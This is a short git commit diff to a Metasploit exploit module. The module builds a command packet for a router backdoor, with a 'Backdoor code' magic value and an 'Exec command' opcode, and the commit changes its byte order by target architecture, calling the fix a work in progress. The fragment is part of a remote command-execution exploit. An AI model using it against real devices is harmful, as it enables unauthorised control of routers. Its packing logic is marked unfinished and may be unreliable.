Have into account endianess

bug/bundler_fix
jvazquez-r7 2014-01-13 15:04:23 -06:00
parent 61b30e8b60
commit 24c57b34a7
1 changed files with 7 additions and 1 deletions

View File

@ -109,7 +109,13 @@ class Metasploit3 < Msf::Exploit::Remote
# 0x53634d4d => Backdoor code # 0x53634d4d => Backdoor code
# 0x07 => Exec command # 0x07 => Exec command
# cmd_length => Length of command to execute, sent after communication struct # cmd_length => Length of command to execute, sent after communication struct
data = [0x53634d4d, 0x07, cmd_length].pack("VVV") # According to @mandreko, probably targets specifics must be had into account
# when dealing with the target endiangess... work in progress
if target.arch.include?(ARCH_MIPSBE)
data = [0x4d4d6353, 0x07, cmd_length].pack("NVV")
else
data = [0x4d4d6353, 0x07, cmd_length].pack("VNN")
end
connect connect
# Send command structure followed by command text # Send command structure followed by command text